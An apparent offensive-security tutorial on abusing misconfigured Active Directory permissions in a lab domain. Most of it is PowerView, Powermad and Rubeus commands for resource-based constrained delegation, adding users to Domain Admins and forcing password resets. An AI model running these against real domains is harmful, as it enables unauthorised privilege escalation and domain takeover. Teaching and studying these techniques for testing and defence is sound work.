Access to Active Directory Domain Services resources is typically given through what’s known as an Access Control Entry (ACE).
DACLs (Active Directory Discretionary Access Control Lists) are ACEs (Access Control Entries) that identify the users and groups allowed or denied access to an object. ACEs can be abused to operate lateral movement or privilege escalation within an AD domain when misconfigured.
Active Directory offers a variety of permission types to set up an ACE.
From an attacker’s point of view, the following permission types are particularly interesting:
- WriteDACL – modify the object’s ACEs and give an attacker complete control right over the object
- GenericAll – full rights to the object (add users to a group or reset user’s password)
- GenericWrite – update object’s attributes (i.e. logon script)
- WriteOwner – change object owner to attacker controlled user to take over the object
- AllExtendedRights – the ability to add a user to a group or reset a password
- ForceChangePassword – the ability to change the user’s password
WriteDacl
The writeDACL permissions allow an identity to fully control rights over the designated object. This means they can modify access control lists (ACL) to gain higher privileges, like becoming a domain administrator or gaining specific user rights.
It’s important to be aware of the risks, especially if someone can modify the ACL of an Active Directory (AD) object and assign permissions that allow them to read and write specific attributes, such as changing an account name or resetting a password.
Abusing writeDACL to a computer object can be used to gain the GenericAll privilege. It’s crucial to authenticate to the Domain Controller when running a process as a user without writeDACL rights.
Additionally, using the Powerview module Add-DomainObjectAcl requires creating a PSCredential object first.
SecPassword = ConvertTo-SecureString 'Password@1' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('first.local\\admin.user', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity FIRST-DC -PrincipalIdentity writedacldc.user -Rights All
When given this privilege, it opens the door to executing a resource-based, constrained delegation attack. In the first step, if an attacker lacks control of an account with an SPN set, Powermad can be utilized to add a new attacker-controlled computer account.
New-MachineAccount -MachineAccount attacker system -Password $(ConvertTo-SecureString 'Password@1' -AsPlainText -Force)
When using PowerView, you can retrieve the security identifier (SID) of the newly created computer account
$ComputerSid = Get-DomainComputer attacker system -Properties objectsid | Select -Expand objectsid
Our next step is to create a generic ACE with the attacker’s computer SID as the principal and then obtain the binary bytes for the new DACL/ACE
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Next, we have to apply this fresh security descriptor to the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we’re gaining control of, once again using PowerView in this instance
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes}
We can then use Rubeus to hash the plaintext password into its RC4_HMAC form.
Rubeus.exe hash /password:Password@1
We can then use the s4u module to obtain a service ticket for the specific service we want to impersonate an admin. This ticket is then injected into memory and, in this scenario, gives us access to the FIRST-DC file system.
Rubeus.exe s4u /user:attackersystem$ /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /impersonateuser:admin /msdsspn:cifs/FIRST-DC.first.local /ptt
GenericAll
The GenericAll permission allows you to write to all properties, such as adding users to a group or resetting a user’s password. This means you can read permissions on this object, write all its properties, and make all validated writes to this object. It’s a pretty powerful permission to have!
Example: If the attacker has GenericAll over any target, he doesn’t have to know the target user’s password. He can execute a force password reset using Set-DomainUserPassword to a known value.
Using Powerview, we will check if our user has GenericAll rights on the Domain Controller (First-DC)
Get-ObjectAcl -SamAccountName first-dc | ?{$_.ActiveDirectoryRights -eq "GenericAll"}
We’ve observed that our user has been granted the GenericAllrights, which essentially gives them the ability to take over the DC.
With generic write access to a computer object, there’s potential for a resource-based constrained delegation attack.
We’re planning to leverage Powermad to introduce a new computer account that is under our control
New-MachineAccount -MachineAccount genallcomp -Password $(ConvertTo-SecureString 'Password!' -AsPlainText -Force)
PowerView can be used to retrieve then the security identifier (SID) of the newly created computer account
$ComputerSid = Get-DomainComputer genallcomp -Properties objectsid | Select -Expand objectsid
We now need to build a generic ACE with the attacker-added computer SID as the principal and get the binary bytes for the new DACL/ACE
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we’re taking over, again using PowerView in this case
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes}
Rubeus.exe hash /password:Password!
Finally, with Rubeus’ s4u module, we can obtain a service ticket for the desired service name and “pretend” to be “admin”. This ticket is injected into memory, providing us with access to the file system of the FIRST-DC
Rubeus.exe s4u /user:genallcomp$ /rc4:FBDCD5041C96DDBD82224270B57F11FC /impersonateuser:admin /msdsspn:cifs/FIRST-DC.first.local /ptt
Having GenericAll/GenericWrite/Write rights on a computer enables you to perform a resource-based constrained delegation.
WriteProperty (Self-Membership)
If our user has the WriteProperty right on all objects for the Domain Admin group, we can once again add ourselves to the Domain Admins group and escalate privileges
net user gpowrite.user /domain; Add-NetGroupUser -UserName gpowrite.user -GroupName "domain admins" -Domain "first.local"; net user gpowrite.user /domain
ForceChangePassword
Closing, if we have ExtendedRight on the User-Force-Change-Password object type, we can reset the user’s password without knowing their current password.
Plus, we can use again PowerView for this
Set-DomainUserPassword -Identity gpowrite.user -Verbose